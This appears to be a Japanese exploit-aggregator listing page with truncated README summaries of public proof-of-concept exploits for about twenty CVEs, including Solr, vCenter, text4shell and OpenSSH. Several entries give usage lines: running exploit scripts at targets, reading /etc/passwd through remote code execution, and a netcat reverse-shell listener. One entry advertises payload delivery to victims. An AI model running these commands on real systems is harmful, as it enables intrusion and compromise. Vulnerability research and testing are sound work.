PoC-CVE-2019-10743

Zip Slip デモ このプロジェクトは、Zip Slip 脆弱性 CVE-2019-10743 を、脆弱なバージョンの mholt/archiver パッケージを使用してデモンストレーションします。 Zip Slip とは？ Zip Slip は、Snyk のセキュリティ研究者によって発見された脆弱性です。 この脆弱性は、実際に使用されている複数のパッケージに影響を及ぼしていることが判明しました。この脆弱性が悪用されると、以下のような問題が発生する可能性があります。 リモートコード実行 システム上での任意書き込み – システムのクラッシュに悪用される可能性あり Web...

CVE-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 使用方法 • このエクスプロイトは複数のターゲットに対してのみ使用できます python3 exploit.py --file urls.txt 参照 https://github.com/hakivvi/CVE-2022-29464...

CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 から 5.5.5 および 6.0.0 から 6.6.5 Apache Solr RCE の初期の PoC です https://issues.apache.org/jira/browse/SOLR-13301 より: ConfigAPI は、HTTP POST リクエストを介して Solr の JMX サーバーを設定できます。 これを悪意のある RMI サーバーに向けることで、攻撃者は Solr の安全でない逆シリアライゼーションを悪用して、 Solr 側でリモートコード実行を引き起こす可能性があります。 概念実...

cve-2022-28944

CVE-2022-28944 EMCO Software の複数製品における、認証されていない更新によるリモートコード実行の脆弱性。 使用方法: python3 cve-2022-28944poc.py 詳細はレポート gerr.re を参照してください。 再現手順 1. EMCO Software の影響を受ける製品をインストールします。 2. storage.emcosoftware.com のスプーフィングを攻撃者側の IP に設定します。 概念実証のためには、ターゲット上の c:\windows\system32\drivers\etc\hosts を編集します。 注:...

cve-2021-21972

cve-2021-21972 使い方 python3 python poc.py -u target -s webshell/ssh webshellはvecter6.5バージョンのみサポート、sshは全バージョンをサポート、このPoCはLinuxのみ対象です。...

CVE-2022-22980

CVE-2022-22980 Spring Data MongoDB SpEL式インジェクション MongoDB は、大量のデータストレージに使用される、スケーラブルかつ柔軟性のあるドキュメント指向のNoSQLデータベースです。従来のリレーショナルデータベースのようにテーブルや行を使用する代わりに、MongoDBはコレクションとドキュメントを利用します。ドキュメントはキーと値のペアで構成され、MongoDBにおけるデータの基本単位です。 Spring Data for MongoDB は、包括的なSpring...

cve-2019-16278

CVE-2019-16278 これはCVE-2019-16278脆弱性のエクスプロイトです。 nhttpd サーバー v1.9.6 でリモートコード実行を可能にします。 ソースからのビルド このツールはRustで書かれています。Rustコンパイラをインストールする必要がありますが、ページの指示に従えば非常に簡単です。 コンパイル コンパイラと cargo がインストールされたら、次のコマンドを実行します： root@kitploit: cargo build 例 root@kitploit: ./cve-2019-16278 10.10.1.1 80 "cat /etc/passwd"...

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v4.0 Exploit toolkit CVE-2017-0199 - v4.0 は、ペネトレーションテスターやセキュリティ研究者が Microsoft Office RCE を迅速かつ効果的にテストできる便利な Python スクリプトです。複雑な設定を必要とせず、悪意のある RTF/PPSX ファイルを生成し、Metasploit / meterpreter / その他のペイロードを被害者に配信することができます。 免責事項...

text4shell-exploit

text4shell-exploit Apache Commons Text のバージョン 例 root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 攻撃マシンでリスナーをセットアップしてください: root@kitploit: nc -nlvp 4444 ペイロードロジック スクリプトは以下を注入します: root@kitploit: $script:javascript:java.lang.Runtime.getRuntime.exec... リバースシェルは、POST リクエストを使用して /data...

CVE-2017-8046

免責事項： このリポジトリはVGSのブログ記事 「既知の脆弱性のあるコンポーネントの使用を回避する方法」 の補足資料です。既知のセキュリティ脆弱性（具体的には CVE-2017-8046）を含むアプリケーションと、 その悪用方法の説明が含まれています。アプリケーションの使用は自己責任で行ってください！ セットアップ まず、リポジトリのルートから次のコマンドを実行してアプリケーションを起動します。 root@kitploit: mvn clean spring-boot:run 次に、次のようなPOSTリクエストを送信してリソースを作成します。 root@kitploit: curl -X...

CVE-2024-54761

BigAnt Office Messenger 5.6.06 におけるSQLインジェクション経由のRCE BigAnt MessengerのSQLインジェクションの脆弱性により、RCEの脆弱性が発生します。以下の手順に従って悪用してください。 使用方法: root@kitploit: CVE-2024-54761.py -h -r RHOST -p RPORT -u USERNAME -P PASSWORD options: -h, --help show this help message and exit -r, --rhost RHOST Target IP address -p,...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Unauthenticated Remote Code Execution https://vulners.com/cve/CVE-2022-24637 Example root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

Mybb-XSS_SQL_RCE-POC

Mybb-XSSSQLRCE-POC Mybbに関連するCVE-2021-27890 & CVE-2021-27889をRCE PoCに 使用前: ここに2つのファイルがあります: 1.js と attacklisten.py これらの2つのファイルを修正してください: 1.js: mybbフォーラムのURLと攻撃URLを修正してください: root@kitploit: var bashurl = 'http://192.168.92.164/mybb/mybb-mybb1825' mybb forum url var attackurl =...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763-FuelCMS-1.4.1-RCE このエクスプロイトのオリジナルバージョンはこちら: https://www.exploit-db.com/exploits/50477 TryHackMeのVulnerability Capstoneで動作するように修正しました。...

CVE-2025-4389

CVE-2025-4389 エクスプロイト 詳細 公開日 : May 16, 2025 更新日 : May 17, 2025 深刻度 : 緊急 CVSS スコア: 9.8 CWE : CWE-434: CWE-434 危険なタイプのファイルの無制限アップロード 影響を受けるバージョン : n/a から 2.6.8.1 までの全バージョン 研究者 : https://www.wordfence.com/threat-intel/vulnerabilities/researchers/friderika-baranyai CVSS ベクター CVSS バージョン : 9.8 ベクター文字列 ...

spring-rce-poc

spring-rce-poc CVE-2022-22968 のテスト CVE-2022-22968 に対して脆弱なシンプルなアプリ Dockerfile を使用して、脆弱なバージョンの Tomcat 9.0.59 でビルドできます exploit.sh は、ローカルホストの 8080 ポートでこの CVE を悪用しようとするシェルスクリプトです exploit.sh による攻撃が成功した場合、ターゲットアプリのコンテキスト上で http://localhost:8080/shell.jsp にアクセスでき、基本的なウェブシェルを備えたシンプルな JSP ウェブサイトが表示されるはずです。...

CVE-2023-27532

CVE-2023-27532 CVE-2023-27532 を悪用して、平文の資格情報を漏えいさせるか、リモートコマンド実行を行う Proof of Concept コードです。 概要 脆弱性と悪用の詳細な分析については、Rapid7 の AttackerKB 分析 をお読みください。 ビルド Visual Studio で開きます。Veeam.Backup.Common.dll、Veeam.Backup.Interaction.MountService.dll、Veeam.Backup.Model.dll への参照を追加または更新する必要があります。簡単にするには、開発マシンに Vee...

jackson-CVE-2020-8840

CVE-2020-8840 FasterXML/jackson-databind リモートコード実行脆弱性...

CVE-2023-39362-cacti-snmp-command-injection-poc

Cacti（CVE-2023-39362）のコマンドインジェクション脆弱性 - PoC このリポジトリは以下のリポジトリからフォークされています： https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cactiは、オープンソースの運用監視および障害管理フレームワークであり、ユーザーコミュニティの動的なニーズに応えるために継続的に進化しています。...

CVE-2024-6387

CVE-2024-6387.py - PoC 重要な注意事項！！！ このエクスプロイトは32ビットのOpenSSHサーバーでのみ動作します 。これは、PoCが32ビットポインターを使用するためです。 また、一部のバージョンは既にパッチが適用されており、すべてのサーバーが脆弱であるとは限らないことが知られています。 テスト済み: Kali Linux, ParrotSec, Ubuntu 22.04 📜 説明 OpenSSHサーバーにおけるリモート認証不要のコード実行脆弱性...